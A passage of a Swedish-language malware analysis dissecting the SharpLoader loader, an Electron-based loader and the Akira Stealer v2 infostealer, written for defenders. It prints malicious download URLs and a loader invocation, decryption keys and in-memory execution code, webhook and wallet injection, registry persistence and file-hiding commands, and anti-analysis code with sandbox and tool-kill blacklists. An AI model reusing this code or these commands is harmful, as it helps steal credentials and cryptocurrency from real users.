Detta säkerställer kompatibilitet med assemblies som kräver ett instansierat objekt för exekvering (t.ex. public int Main() inuti en klassinstans). Koden skapar dynamiskt en instans av klassen och anropar sedan entry point-metoden.

I kombination med AMSI-bypassen och in-memory-dekrypteringen levererar denna mekanism den slutliga payloaden till exekvering på ett smygande, helt filelöst sätt, ett kännetecken för modern, undvikande malware.

4.5 Kommandoradsparametrar och flexibilitet

PowerShell-funktionen Invoke-SharpLoader är utformad för att fungera som en flexibel wrapper för godtyckliga .NET-payloads. Den stöder dynamisk inmatning av både payload-plats och argument, vilket gör att en enda loader-instans kan återanvändas över flera operationer eller kampanjer.

Stödda parametrar:

  • -location (obligatorisk): Anger antingen en URL eller en lokal filsökväg till den krypterade stage two-payloaden.
  • -password (obligatorisk): Används för att härleda AES-dekrypteringsnyckeln.
  • -argument, -argument2, -argument3 (valfria): Dessa vidarebefordras direkt till .NET-assemblyns Main()-metod via reflection.
  • -noArgs: Utlöser exekvering utan att skicka några parametrar till andra stegets payload.

Internt samlas argumenten in och vidarebefordras så här:

object[] cmd = args.Skip(2).ToArray();
a.EntryPoint.Invoke(null, new object[] { cmd });

Detta innebär att .NET-payloaden förväntas ha en signatur som:

static void Main(string[] args)

eller så faller den elegant tillbaka till den parameterlösa Main()-varianten via fallback-logik. Detta beteende låter red teams eller malwareutvecklare skapa mångsidiga andra steg som kan utföra olika operationer beroende på indata, till exempel att starta en implant, samla in systeminformation eller initiera C2-kommunikation.

Sådan modularitet och konfigurerbarhet är centrala egenskaper hos avancerade malware-ramverk, och de illustrerar hur skriptbaserade loaders kan bete sig som mycket anpassningsbara exekveringsmiljöer för efterföljande payloads.

4.6 Exempel på användning i verkligheten

För att illustrera SharpLoaders exekvering i en verklig kampanj, betrakta följande anrop som observerats i det vilda:

Invoke-SharpLoader -location "https://cosmoplwnets.xyz/.well-known/pki-validation/calc.enc" -password UwUFufu1 -noArgs

Detta exempel belyser det typiska användningsfallet för SharpLoader:

  • Location-argument: URL:en pekar på en fjärrserver som hostar calc.enc, en dold andra stegets payload. Endpointen ligger under en legitimt utseende .well-known-katalog, som ofta används för HTTPS-certifikatvalidering, vilket hjälper URL:en att smälta in i legitim webbtrafik.
  • Payload-egenskaper: calc.enc är en trippelobfuskerad fil, Base64-kodad, GZip-komprimerad och AES-krypterad. Denna obfuskeringspipeline säkerställer att payloaden är ogenomskinlig för de flesta detektionsmekanismer om den inte fullständigt körs och dekrypteras i minnet.
  • Password-argument: Strängen UwUFufu1 används vid runtime för att härleda AES-nyckeln via SHA-256 och PBKDF2. Utan detta lösenord kan payloaden inte dekrypteras, vilket gör offline-analys utan kontext nästan omöjlig.
  • Inga ytterligare argument: Flaggan -noArgs anger att inga kommandoradsparametrar skickas till den dekrypterade .NET-assemblyn, vilket utlöser dess standardexekveringsväg.

Denna smygande anropskedja fångar SharpLoaders kärnsyfte: filelös, anpassningsbar och säker payload-leverans genom enkel PowerShell-syntax med maximal obfuskering och undvikande.

4.7 Sammanfattning

Konstruktionen Invoke-SharpLoader exemplifierar en mycket förfinad och undvikande teknik för malware-staging som utnyttjar inbyggda systemkomponenter, reflection och kryptografi för att operera nästan helt i minnet.

Centrala höjdpunkter:

  • Kringgår AMSI: Direkt in-memory-patchning av AmsiScanBuffer inaktiverar antivirus-inspektion utan att anropa detekterbara API:er.
  • Säker payload-hantering: Hämtning av krypterade och komprimerade stage-two-payloads säkerställer konfidentialitet och lägger till flera lager av undvikande.
  • Exekvering enbart i minnet: Dekrypterade payloads skrivs aldrig till disk, vilket gör detektion med traditionella filbaserade skannrar nästan omöjlig.
  • Modulär och återanvändbar arkitektur: Genom PowerShell-parametrar kan SharpLoader flexibelt återanvändas över kampanjer med varierande payloads och runtime-beteenden.

5. Deep Dive: main.exe – Electron-baserad malware loader

Under reverse engineering blev det tydligt att main.exe, som flaggats av Microsoft Defender for Endpoint, inte var en konventionell binär utan en Electron-baserad malware loader. Den levererades inuti ett arkiv vid namn app-64.7z, som Updater.exe laddade ner och extraherade vid runtime. När den väl packats upp liknade strukturen och innehållet starkt en typisk Electron-applikation.

5.1 Att känna igen Electron-strukturen

Den extraherade mappen inkluderade filer som:

  • chrome_100_percent.pak, v8_context_snapshot.bin, d3dcompiler_47.dll
  • LICENSES.chromium och LICENSES.electron
  • En stor main.exe-binär (~150 MB)
  • En resources-mapp med app.asar och en sekundär binär elevate.exe

Packaged Windows 64-bit version of the desktop app

Detta är alla starka indikatorer på en Electron-app, som använder Chromium och Node.js för att paketera JavaScript-baserade skrivbordsapplikationer. Närvaron av elevate.exe, en signerad Microsoft-binär som ofta används för att eskalera privilegier, väckte ytterligare misstankar: den kan missbrukas för att starta barnprocesser med förhöjda rättigheter.

5.2 Uppackning och statisk analys (Deep Dive)

I stället för att köra main.exe valde jag en statisk analysansats för att undvika att utlösa något live-beteende. Min inledande misstanke om att main.exe var byggd med Electron bekräftades genom att jag lokaliserade app.asar-filen inuti resources-katalogen. I Electron-appar innehåller detta arkiv all central applikationslogik, som JavaScript-filer, konfiguration (package.json) och tillgångar, packat i ett anpassat format för prestanda- och obfuskeringssyften.

.asar-arkivet är i grunden en skrivskyddad, högpresterande container som liknar .zip, men optimerad för Electrons runtime. Även om det inte är krypterat obfuskerar det kodåtkomsten, vilket gör statisk analys svårare om det inte packas upp.

För att packa upp det använde jag det officiella asar-verktyget som tillhandahålls via npm. Stegen var:

npm install -g asar
asar extract app.asar extracted_app

Att köra ovanstående kommandon extraherade innehållet till en arbetsmapp (extracted_app/), vilket avslöjade den faktiska JavaScript-applikationskoden. Detta inkluderade:

  • jscryter.js, input.js, obf.js: Dessa skript utgör malware-logiken. jscryter.js verkar orkestrera payload-leveransen, input.js definierar konfigurationskonstanter eller kommandologik, och obf.js är ett kraftigt obfuskerat skript som troligen innehåller kärn-payloadens logik.
  • package.json, package-lock.json: Definierar runtime-miljön
  • node_modules/: Innehåller alla beroenden som axios, adm-zip, child_process

Det uppackade innehållet gav fullständig insyn i malwarens logik utan att kräva exekvering, vilket var väsentligt för säker reverse engineering. Detta steg bekräftade att main.exe enbart fungerade som en runtime-wrapper för de skadliga skripten som gömdes inuti app.asar.

5.3. Vad den statiska analysen avslöjade

Genom att manuellt inspektera koden bekräftade jag att malware-logiken var helt JavaScript-baserad och kördes inom Electron-runtimen. Skripten var utformade för att:

  • Ladda ner en krypterad payload (pyth.zip) från fallback-URL:er
  • Extrahera arkivet med adm-zip
  • Utföra strängersättning för att injicera specifika credentials eller plånboksadresser
  • Starta den resulterande Python-filen (astor.py) via child_process.exec() och python.exe

Avgörande nog inkluderade loadern också logik för att kopiera Updater.exe till användarens AppData-katalog om den inte redan fanns, vilket förstärkte persistensen och upprätthöll infektionsloopen.

6. Deep Dive: input.js – den krypterade JavaScript-payload-loadern

input.js är en central komponent i den analyserade skadekedjan och fungerar som nav för dekryptering och exekvering av en krypterad JavaScript-payload. Skriptet gömmer sin kärnfunktionalitet bakom ett starkt krypteringslager och avslöjar sitt beteende först under körning.

6.1 Krypterings- och dekrypteringsmekanik

Vid första anblicken innehåller input.js väldigt lite läsbar kod. Dess primära syfte är dock att dekryptera och exekvera en stor obfuskerad JavaScript-blob som ligger lagrad inuti själva skriptet.

6.1.1 Dekrypteringslogik

Skriptet definierar en decrypt()-funktion som tar fyra parametrar:

  • encdata: Den krypterade Base64-kodade datan
  • masterkey: En passphrase i klartext
  • salt: Ett kryptografiskt salt (Base64)
  • iv: Initieringsvektorn för AES-dekryptering (Base64)

Dekrypteringsprocessen är implementerad med Node.js inbyggda crypto-modul. Den går till på följande sätt:

  1. Key Derivation: Skriptet härleder en 256-bitars symmetrisk nyckel med PBKDF2 (Password-Based Key Derivation Function 2):
    const key = crypto.pbkdf2Sync(
      masterkey,
      Buffer.from(salt, "base64"),
      100000,
      32,
      "sha512",
    );
    
    • Hash function: SHA-512
    • Iterations: 100,000
    • Key length: 32 bytes (256 bits)
    • Salt: Levereras som en Base64-avkodad indata
  2. AES-256-CBC Decryption: Den härledda nyckeln används sedan för att skapa ett AES-decipher-objekt:
    const decipher = crypto.createDecipheriv(
      "aes-256-cbc",
      key,
      Buffer.from(iv, "base64"),
    );
    

    Den krypterade payloaden dekrypteras med standardläget CBC (Cipher Block Chaining):
    let decrypted = decipher.update(encdata, "base64", "utf8");
    decrypted += decipher.final("utf8");
    
  3. Dynamic Execution: Den dekrypterade JavaScript-koden skrivs aldrig till disk. Istället exekveras den dynamiskt i minnet via Function-konstruktorn:
    new Function("require", decrypted)(require);
    

    Den här tekniken möjliggör fillös exekvering och minskar risken för upptäckt av traditionella antivirusmotorer som förlitar sig på diskbaserad skanning.

Detta tillvägagångssätt visar ett lager-för-lager-försvar mot reverse engineering genom att kombinera key derivation, stark kryptering och dynamisk exekvering i minnet.

Key Material and Encrypted Data

Skriptet innehåller följande hårdkodade indata:

  • Encrypted Data: En massiv Base64-kodad blob
  • Master Key: 9uNXNGt8/7kN7ZiEvy1OdYNpbcnzkERs
  • Salt: maXtklzMEZRY9dbul/XPSw== (Base64-kodad)
  • IV: HwK6sOz7FBbL+YsrOxtYUg== (Base64-kodad)

Alla dessa är inbäddade direkt i källkoden till input.js.

6.2 Payload-beteende efter dekryptering

När den väl har dekrypterats blir den inbäddade payloaden ett fullständigt JavaScript-program som utför följande skadliga handlingar:

6.2.1 Förberedelse av miljön

Den dekrypterade payloaden börjar med att sätta upp sin exekveringsmiljö med hjälp av inbyggda Node.js-moduler. Denna uppsättningsfas säkerställer att alla nödvändiga sökvägar och arbetskataloger är tydligt definierade innan något skadligt beteende inträffar.

  • Temporary Directory Resolution: Skadeprogrammet anropar os.tmpdir() för att bestämma sökvägen till systemets aktuella temporära katalog. Detta är en vanlig taktik för skadeprogram eftersom temporära mappar oftast är skrivbara och granskas mindre noga av endpoint protection-system.
    const tempDir = os.tmpdir();
    
  • Path Construction: Skriptet konstruerar sedan absoluta sökvägar för två viktiga filer:
    • pyth.zip: Arkivet som innehåller själva second-stage-stealern i Python
    • bnd.exe: En valfri körbar fil som kan fungera som persistence-backdoor eller ytterligare payload
    const tempFile = path.join(tempDir, "pyth.zip");
    const binderFile = path.join(tempDir, "bnd.exe");
    

Denna uppsättning av sökvägar abstraherar bort OS-specifik sökvägssyntax och gör att skadeprogrammet kan köra utan problem på vilket Windows-system som helst. Den lägger också grunden för de mekanismer för nedladdning och uppackning av filer som följer.

6.2.2 Nedladdning av payload med fallback-strategi

Den andra stora fasen i den dekrypterade JavaScript-payloaden handlar om att ladda ner ett skadligt ZIP-arkiv från fjärrkällor. Denna mekanism är utformad med en flernivåstrategi för fallback som ökar motståndskraften och tillgängligheten.

  • Primary Link Resolution via Rentry.co Skriptet börjar med att slå upp en dynamisk URL från en text paste-tjänst. Det skickar en GET-förfrågan till:
    const url = "https://rentry.co/7vzd22fg36hfdd33/raw";
    

    Detta returnerar en URL-sträng i klartext som pekar på den faktiska platsen för pyth.zip-arkivet. Att använda en omdirigeringsmekanism som denna är en vanlig obfuskeringsteknik. Den abstraherar bort den verkliga skadliga URL:en och gör statisk upptäckt svårare.
  • Download Execution Den upplösta URL:en efterfrågas sedan med Axios-biblioteket och en response stream:
    const fileResponse = await axios.get(fileUrl, { responseType: "stream" });
    

    Filen skrivs till disk som pyth.zip i systemets temp-katalog:
    const writer = fs.createWriteStream(tempFile);
    fileResponse.data.pipe(writer);
    

    Denna nedladdning omsluts av en Promise för att säkerställa synkron slutförande innan vidare logik körs.
  • Fallback URLs Om den Rentry-baserade länken misslyckas försöker skriptet med hårdkodade reservplatser:
    https://cosmicdust.zip/.well-known/pki-validation/pyth.zip
    https://cosmoplanets.net/well-known/pki-validation/pyth.zip
    

    Dessa domäner är strukturerade för att se ut som delar av vanliga TLS-valideringsmappar, möjligen för att härma Let's Encrypt eller domänvalideringssökvägar och därmed väcka mindre misstanke. Varje fallback görs om med samma streaming- och filskrivningslogik.
  • Robustness and Obfuscation Denna fallback-mekanism säkerställer att skadeprogrammet har flera hämtningsvägar för sin second-stage-payload. Användningen av en dynamisk pekare (rentry.co) och flera failover-speglar gör skadeprogrammet mer motståndskraftigt mot takedowns, blockering och DNS-sinkholes.

Denna fas visar noggrann operativ planering från skadeprogrammets upphovsmän, med lagerdelad redundans och väl kamouflerad leveransinfrastruktur.

  • Laddar ner pyth.zip från den upplösta URL:en
  • Om det misslyckas försöker det med reservspeglar:
    • https://cosmicdust.zip/.well-known/pki-validation/pyth.zip
    • https://cosmoplanets.net/well-known/pki-validation/pyth.zip

6.2.3 Extraktion och manipulation av payload

När pyth.zip-arkivet väl har laddats ner och sparats till disk fortsätter skadeprogrammet med att extrahera dess innehåll och förbereda det för exekvering. Detta sker med Node.js-biblioteket adm-zip, som möjliggör programmatisk hantering av ZIP-filer.

  • ZIP Extraction:
    const zip = new AdmZip(tempFile);
    zip.extractAllTo(tempDir, true);
    

    Detta extraherar allt innehåll i arkivet till systemets temporära katalog. Flaggan true säkerställer att befintliga filer skrivs över.
  • Archive Contents: Arkivet pyth.zip innehåller ett fullständigt paketerat Python-projekt, inklusive:
    • En katalogstruktur som liknar ett legitimt Python-paket
    • Flera Python-moduler och beroenden
    • Nyckelfilen astor.py som ligger i Crypto/Util/astor.py, vilket är den huvudsakliga stealer-payloaden
  • Placeholder Replacement: Skadeprogrammet utför dynamisk substitution av fördefinierade platshållare i astor.py för att injicera angriparkontrollerad konfigurationsdata såsom:
    • En Discord webhook-URL
    • Kryptovaluta-plånboksadresser (BTC, ETH, DOGE, LTC, XMR, med flera)
    • En användaridentifierare (%USERID%)
    • En felstatusflagga (%ERRORSTATUS%)
    fs.readFile(extractedDir + "\Crypto\Util\astor.py", 'utf8', (err, data) => {
      let updatedFile = data
        .replace("%DISCORD%", <webhook>)
        .replace("%ADDRESSBTC%", <btc_address>)
        ...
        .replace("%ERRORSTATUS%", displayError ? "true" : "false");
    
      fs.writeFile(extractedDir + "\Crypto\Util\astor.py", updatedFile, 'utf8');
    });
    

Denna dynamiska manipulationsfas är avgörande. Genom att skjuta upp inmatningen av angriparkontrollerade värden till körningstillfället undviker payloaden statisk upptäckt och operatören kan anpassa mål och exfiltrerings-endpoints utan att packa om arkivet.

  • Ersätter platshållarsträngar i astor.py:
    • Discord webhook: %DISCORD%
    • Plånboksadresser: %ADDRESSBTC%, %ADDRESSETH%, osv.
    • Användar-ID och felflaggor

6.2.4 Exekvering av skadlig kod

  • När platshållarinjektionen i astor.py är klar startar skadeprogrammet exekveringen av stealern via ett systemanrop
    exec("python.exe Crypto\\Util\\astor.py");
    

Detta kommando körs med Node.js child_process.exec-funktion och startar den inbäddade Python-payloaden i en separat process. Just detta exekveringsmönster, python.exe med argumentet Crypto\Util\astor.py, observerades i telemetridata som samlats in av Microsoft Defender for Endpoint, vilket gör det till en tillförlitlig detekteringsartefakt. I praktiken ser exekveringskedjan ut så här:

Den fullständiga exekveringskedjan för skadeprogrammet, som den observerats i telemetri från Microsoft Defender for Endpoint, följer denna sekvens:

  • main.exe (Electron-baserad container) anropar node.exe
  • node.exe startar cmd.exe
  • cmd.exe startar python.exe
  • python.exe exekverar filen Crypto\Util\astor.py

6.2.5 Förstärkning av persistence

För att säkerställa långvarig närvaro på det infekterade systemet innehåller den dekrypterade JavaScript-payloaden logik för att återupprätta persistence genom att kopiera den ursprungliga binären (Updater.exe) till en dold plats i användarens profil.

Target Directory

Filen kopieras till en katalog som härmar legitima Windows-komponenter:

%APPDATA%\Microsoft\Internet Explorer\UserData\Updater.exe

Denna plats är medvetet vald:

  • %APPDATA% är skrivbar för vanliga användare och kräver inga administrativa rättigheter.
  • Katalognamnet härmar legitima Microsoft-applikationsmappar, vilket gör det mindre misstänkt.

Copy Mechanism:

Kopieringsoperationen använder Node.js fs.copyFileSync()-funktion:

fs.copyFileSync(
  process.env.PORTABLE_EXECUTABLE_FILE,
  path.join(
    process.env.APPDATA,
    "Microsoft",
    "Internet Explorer",
    "UserData",
    "Updater.exe",
  ),
);
  • PORTABLE_EXECUTABLE_FILE är en miljövariabel som många packers (till exempel Electron) automatiskt sätter för att referera till sökvägen till den körande binären.
  • path.join(...) bygger en fullständigt kvalificerad destinationssökväg över olika operativsystem.

Denna logik körs endast om filen inte redan finns och fungerar därmed som en självreparationsmekanism som återställer droppern om den raderas.

Role in the Malware Chain Närvaron av denna kopierade Updater.exe säkerställer att:

  • Loadern kan trigga sig själv på nytt över omstarter av systemet.
  • Hela infektionskedjan (som leder till main.exe, node.exe och till slut astor.py) kan starta om utan att förlita sig på traditionella registerbaserade persistence-mekanismer, som är mer sannolika att övervakas.

6.2.6 Valfri binder-exekvering

Utöver att ladda ner och exekvera den huvudsakliga stealer-payloaden (astor.py) innehåller den dekrypterade JavaScript-koden även logik för att valfritt ladda ner och starta en sekundär körbar fil som kallas "binder". Denna komponent kan användas för persistence, distraktion eller utplacering av ytterligare skadeprogramsmoduler.

Conditional Execution

Binder-logiken aktiveras endast om en specifik flagga är satt:

enableBinder = true;

I det analyserade samplet var detta värde satt till false som standard, men logiken finns kvar inbäddad i payloaden och kan trivialt aktiveras i en annan kampanj eller variant.

Binder Download Logic

Om den aktiveras försöker skriptet hämta en extern binär från en URL som definieras av platshållaren %BINDERURL%:

const fileUrl = "%BINDERURL%";
const fileResponse = await axios.get(fileUrl, { responseType: "stream" });
const writer = fs.createWriteStream(binderFile);
fileResponse.data.pipe(writer);
  • Filen bnd.exe sparas i systemets temporära katalog.
  • Precis som pyth.zip laddas binären ner med Axios på ett strömmat sätt för att undvika att hela binären laddas in i minnet.

Execution Strategy

Efter lyckad nedladdning anropar skriptet den nedladdade binären via cmd.exe, vilket säkerställer att den körs i en ny shell-kontext:

exec(`start cmd /c start ${binderFile}`, ...);

För att öka tillförlitligheten innehåller skriptet retry-logik:

setTimeout(() => {
  exec(...);
}, 5000);

Detta säkerställer att skadeprogrammet försöker starta binären på nytt efter en kort fördröjning, även om den första exekveringen misslyckas (till exempel på grund av systembelastning eller race conditions).

Use Cases for the Binder

Även om det exakta syftet med binder-binären inte avslöjas i just detta sample (på grund av platshållar-URL:en) används sådana komponenter vanligen för att:

  • Installera om eller starta om de primära skadeprogramskomponenterna
  • Visa falska installationsprogram eller lockbetesapplikationer
  • Utplacera ytterligare spionprogram, backdoors eller ransomware
  • Ändra systeminställningar eller inaktivera säkerhetsfunktioner

6.3 Sammanfattning

input.js är en starkt obfuskerad, krypterad JavaScript-loader som använder branschstandardkryptografi (PBKDF2 + AES-256-CBC) för att skydda sitt verkliga syfte. Efter dekryptering fungerar den som en fullt kapabel second-stage-loader som:

  • Hämtar ytterligare skadeprogram (pyth.zip)
  • Modifierar payloadens beteende dynamiskt
  • Startar det faktiska stealer-skriptet (astor.py)
  • Förstärker persistence genom att återställa Updater.exe

Kombinationen av kryptering, dynamisk exekvering, modulär payload-hämtning och fillös drift visar upp en högt avancerad JavaScript-baserad skadeprogramsarkitektur som utnyttjar Node.js-funktioner i ett Electron-skal.

7. DeepDive: Akira Stealer v2 (astor.py)

7.1. Övergripande funktionalitet

Akira Stealer v2 (astor.py) är en multifunktionell, modulär infostealer-skadekod skriven i Python. Den är byggd för att exfiltrera ett brett spektrum av känsliga användardata från både Chromium- och Firefox-baserade webbläsare, crypto wallets, kommunikationsklienter (t.ex. Discord, Telegram) och systemfiler. Den innehåller sofistikerade anti-analysmekanismer, registerbaserad persistence, clipboard hijacking och tekniker för memory injection.

7.2 Persistence och distribution

7.2.1 Kontext för exekveringskedjan

astor.py körs inte fristående utan är den sista payloaden i en flerstegsattackkedja:

Updater.exe
  └── main.exe (Electron app)
        └── cmd.exe
              └── python.exe astor.py

Den här strukturerade exekveringskedjan gör att varje steg kan undgå upptäckt genom att delegera den skadliga funktionaliteten till nästa. Updater.exe inleder sekvensen och ansvarar för att upprätthålla persistence.

7.2.2 Registerbaserad persistence

Akira etablerar persistence genom att skriva en registernyckel under den aktuella användarens Run-sökväg. Detta säkerställer att Updater.exe körs vid varje systemstart:

command = f'reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v "Realtek Audio" /t REG_SZ /d "{path}\\Updater.exe" /f'
os.system(command)
  • Path: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • Value name: Realtek Audio (vald för att verka harmlös)
  • Payload path: Vanligtvis i AppData\Roaming\Microsoft\Internet Explorer\UserData\\Updater.exe

Detta kommando skriver autorun-posten tyst via PowerShell eller nativ os.system()-exekvering.

7.2.3 Döljande av fil

För att ytterligare dölja binären från användare och enkla AV-skanningar markeras filen med attributen hidden och system:

subprocess.run(["attrib", "+h", "+s", destination_path])
  • +h: Markerar filen som dold
  • +s: Markerar filen som en skyddad systemfil

Detta tar effektivt bort filen från vanliga vyer i Windows Explorer och ökar stealth.

7.2.4 Reinfektionstekniker

Skadekoden stöder självreplikering och reinfektion genom Electron application hijacking. Konkret ersätter den arkivet app.asar i Electron-baserade desktop-wallets (t.ex. Exodus, Atomic Wallet) för att köra skadlig JavaScript under legitim appstart.

Logiken letar efter kända sökvägar till wallet-appar:

path = os.getenv("APPDATA") + "\\Exodus\\resources\\app.asar"

Om målfilen finns skrivs den över med ett beväpnat arkiv. Detta säkerställer persistence även efter manuell borttagning av Updater.exe.

7.3 Anti-analys / undvikande (klass: VmProtect)

7.3.1 Introduktion

I moderna skadekodskampanjer är det avgörande att undgå analys i virtualiserade och sandboxade miljöer för att bibehålla stealth. Akira Stealer v2 implementerar en heltäckande modul för VM/sandbox-detektering (VmProtect) som aggressivt identifierar och avbryter exekvering i miljöer som kontrolleras av analytiker. Den här rapporten dissekerar varje detekteringsteknik, tillhandahåller de exakta kodutdragen inklusive kompletta blacklist-definitioner och beskriver den analysmetodik som använts.

7.3.2 Översikt

Klassen VmProtect implementerar robust VM- och sandbox-detektering för att avbryta exekvering i förtid i analysmiljöer. Den stöder två detekteringsnivåer:

  • Level 1: Lätta, snabba kontroller
  • Level 2: Fördjupade, heltäckande sonderingar

Om VmProtect.isVM(level) returnerar True anropar skadekoden sys.exit(), vilket förhindrar vidare analys.

7.3.3 Detekteringsnivåer

Feature Level 1 Level 2
HTTPSimulation ✔️ ✔️
Computer-name blacklist ✔️ ✔️
User-account blacklist ✔️ ✔️
Hardware-UUID blacklist ❌ ✔️
Public-hosting API check ❌ ✔️
Registry & GPU hints ❌ ✔️
Task-killing background ✔️ ✔️

7.3.4 VmProtect-arkitektur

Klassen VmProtect exponerar följande primära metoder:

  • checkUUID()
  • checkComputerName()
  • checkUsers()
  • checkHosting()
  • checkHTTPSimulation()
  • checkRegistry()
  • killTasks()
  • isVM(level)

Varje metod returnerar en boolean eller utför undvikandesteg. Wrappern isVM aggregerar dessa kontroller utifrån den angivna nivån.

Method Triggered By Description
checkUUID() isVM(2) WMI UUID blacklist
checkComputerName() isVM(1,2) Environment hostname match
checkUsers() isVM(1,2) Username blacklist
checkHosting() isVM(2) IP hosting provider check via ip-api.com
checkHTTPSimulation() isVM(1,2) HTTPS interception detection
checkRegistry() isVM(2) Registry & GPU driver artifacts
killTasks() isVM(...) spawn Terminates known analysis processes
isVM(level) init Aggregates checks and calls killTasks() thread
@staticmethod
def isVM(level: int) -> bool:
    # Always start background task-killer
    Thread(target=VmProtect.killTasks, daemon=True).start()
    if level == 1:
        # Fast path: HTTPS, hostname & user
        return (
            VmProtect.checkHTTPSimulation()
            or VmProtect.checkComputerName()
            or VmProtect.checkUsers()
        )
    if level == 2:
        # Deep scan: includes UUID, hosting, registry & GPU
        try:
            return (
                VmProtect.checkHTTPSimulation()
                or VmProtect.checkUUID()
                or VmProtect.checkComputerName()
                or VmProtect.checkUsers()
                or VmProtect.checkHosting()
                or VmProtect.checkRegistry()
            )
        except:
            return False
    return False

7.3.5 UUID-kontroll – Identifiering av virtuella maskiner via hardware-UUID

En vanlig taktik i undvikande av skadekod är att fingeravtrycka den underliggande hårdvarumiljön. En av de tidigaste identifierarna som kan signalera en virtuell maskin är systemets UUID (Universally Unique Identifier). Virtualiseringsplattformar som VMware och VirtualBox genererar ofta förutsägbara eller återanvända UUID:n, som skadekod kan använda för att avgöra om den körs i en virtualiserad eller sandboxad miljö.

@staticmethod
def checkUUID() -> bool:
    try:
        raw = subprocess.run(
            "wmic csproduct get uuid", shell=True,
            capture_output=True
        ).stdout.splitlines()[2].decode().strip()
    except:
        raw = ""
    return raw in VmProtect.BLACKLISTED_UUIDS

Den här kontrollen utnyttjar verktyget Windows Management Instrumentation Command-line (WMIC) för att hämta värdmaskinens UUID. Det returnerade värdet stäms sedan av mot en kurerad lista över UUID:n som ofta förknippas med mallar för virtuella maskiner eller kända analysuppsättningar.

7.3.6 Datornamnskontroll – Detektering av sandbox- och analysmiljöer via hostname

Systemets hostname, som nås via miljövariabeln %COMPUTERNAME%, avslöjar ofta ledtrådar om dess miljö. Analytiker använder ofta standardmässiga eller snabbt genererade hostnamn som "DESKTOP-XXXXXXX", "WIN10ANALYSIS" eller till och med namn kopplade till deras interna miljöer. Skadekod drar nytta av detta genom att jämföra systemets hostname mot en blacklist.

@staticmethod
def checkComputerName() -> bool:
    name = os.getenv("computername", "").lower()
    return name in VmProtect.BLACKLISTED_COMPUTERNAMES

BLACKLISTED_COMPUTERNAMES = (
    '00900bc83802','bee7370c-8c0c-4','desktop-nakffmt',
    'desktop-vkeons4','ntt-eff-2w11wss',
    # ... dozens more entries ...
)

Om en matchning hittas kan skadekoden välja att avbryta exekvering eller distribuera en falsk payload och därmed undvika en fullständig beteendeanalys.

7.3.7 Kontroll av användarkonto – Profilering av analytiker- eller standardkonton

En annan heuristik innebär att man utvärderar användarnamnet som skadekoden körs under. Många mallar för virtuella maskiner och sandboxar återanvänder vanliga användarnamn som "Abby", "Test" eller "wdagutilityaccount". Dessa namn har låg entropi och är ofta hårdkodade i sandbox-miljöer med öppen källkod.

@staticmethod
def checkUsers() -> bool:
    user = os.getlogin().lower()
    return user in VmProtect.BLACKLISTED_USERS

BLACKLISTED_USERS = (
    'wdagutilityaccount','abby','peter wilson','hmarc',
    'a.monaldo','tvm',
    # ... 30+ more entries ...
)

Den här kontrollen förbättrar detekteringen genom att fokusera på användarkontexten, som kan förbli oförändrad även över omstarter eller snapshots av virtuella maskiner.

7.3.8 Hosting-kontroll – Detektering av publik molninfrastruktur

Vissa skadekoder använder externa IP-intelligenstjänster för att verifiera om det infekterade systemet befinner sig i ett känt datacenter eller en känd molnleverantörsmiljö. I det här fallet görs en enkel HTTP-förfrågan till ip-api.com, som frågar om IP-adressen är flaggad som "hosting".

@staticmethod
def checkHosting() -> bool:
    http = PoolManager(cert_reqs="CERT_NONE")
    try:
        return http.request(
            'GET',
            'http://ip-api.com/line/?fields=hosting'
        ).data.decode().strip() == 'true'
    except:
        return False

Detta gör att skadekoden kan avgöra om den körs på infrastruktur som ägs av Microsoft Azure, AWS, DigitalOcean etc., en varningssignal för sandboxing.

7.3.9 HTTPS-simuleringskontroll – Sondering efter SSL-interception

För att identifiera miljöer med SSL-inspektion (vanligt i företags- eller forskningsnätverk) skickar skadekoden en harmlös HTTPS-förfrågan till en slumpmässig subdomän under .in. Om anslutningen misslyckas på grund av DNS-filtrering, interception-proxyer eller misslyckad certificate pinning kan det signalera att skadekoden analyseras.

@staticmethod
def checkHTTPSimulation() -> bool:
    http = PoolManager(cert_reqs="CERT_NONE", timeout=1.0)
    try:
        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')
    except:
        return False
    return True

Den här subtila metoden testar integriteten hos nätverksvägen utan att utlösa larm eller kräva dedikerad infrastruktur.

7.3.10 Register- och GPU-drivrutinskontroll – Detektering av virtuella GPU-signaturer

Vissa virtuella miljöer avslöjas av registernycklar eller GPU-drivrutinsdeskriptorer. Akira använder en dubbel strategi: den frågar registerposter kopplade till grafiksubsystemet och undersöker separat utdata från wmic efter misstänkta GPU-strängar.

@staticmethod
def checkRegistry() -> bool:
    r1 = subprocess.run(
        "REG QUERY HKLM\\...\\0000\\DriverDesc 2",
        capture_output=True, shell=True)
    r2 = subprocess.run(
        "REG QUERY HKLM\\...\\0000\\ProviderName 2",
        capture_output=True, shell=True)

    # GPU name check
    gpu_out = subprocess.run(
        "wmic path win32_VideoController get name",
        capture_output=True, shell=True).stdout.decode().splitlines()
    gpucheck = any(x in gpu_out[2].lower()
                   for x in ("virtualbox", "vmware"))
    return (r1.returncode != 1 and r2.returncode != 1) or gpucheck

Dessa kontroller på hårdvarunivå är särskilt effektiva mot analytikeruppsättningar som kanske inte helt maskerar virtualiserade skärmadaptrar.

7.3.11 Task-killing – Undertryckande av analysverktyg i realtid

Istället för att bara passivt undgå upptäckt går Akira ett steg längre genom att aktivt avsluta kända analys- eller debugverktyg. Den startar en bakgrundstråd som itererar över en lista med processer och dödar varje matchning den hittar.

@staticmethod
def killTasks() -> None:
    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)

BLACKLISTED_TASKS = (
  'wireshark','fiddler','ida64','x32dbg','vmtoolsd',
  # ... dozens more ...
  'glasswire','requestly'
)

Dessa verktyg, som ofta används av incident responders och skadekodsanalytiker, neutraliseras innan de hinner samla in meningsfulla beteendeartefakter.

Sammanfattning

Akira använder en sofistikerad uppsättning anti-analystekniker som riktar sig mot flera systemlager, från miljövariabler och registernycklar till nätverkssonderingar och tasklistor. Dessa mekanismer är utformade för att detektera och undvika både automatiserade sandboxar och manuella inspektionsuppsättningar.

Kombinationen av passivt fingeravtryckande och aktivt undertryckande (t.ex. task killing) visar hur även skadekodsfamiljer i mellansegmentet numera integrerar undvikandelogik i flera lager.

7.3.12 Kompletta blacklists och detekteringsfunktioner

Blacklisted Hardware UUIDs

BLACKLISTED_UUIDS = (
    '7AB5C494-39F5-4941-9163-47F54D6D5016',
    '032E02B4-0499-05C3-0806-3C0700080009',
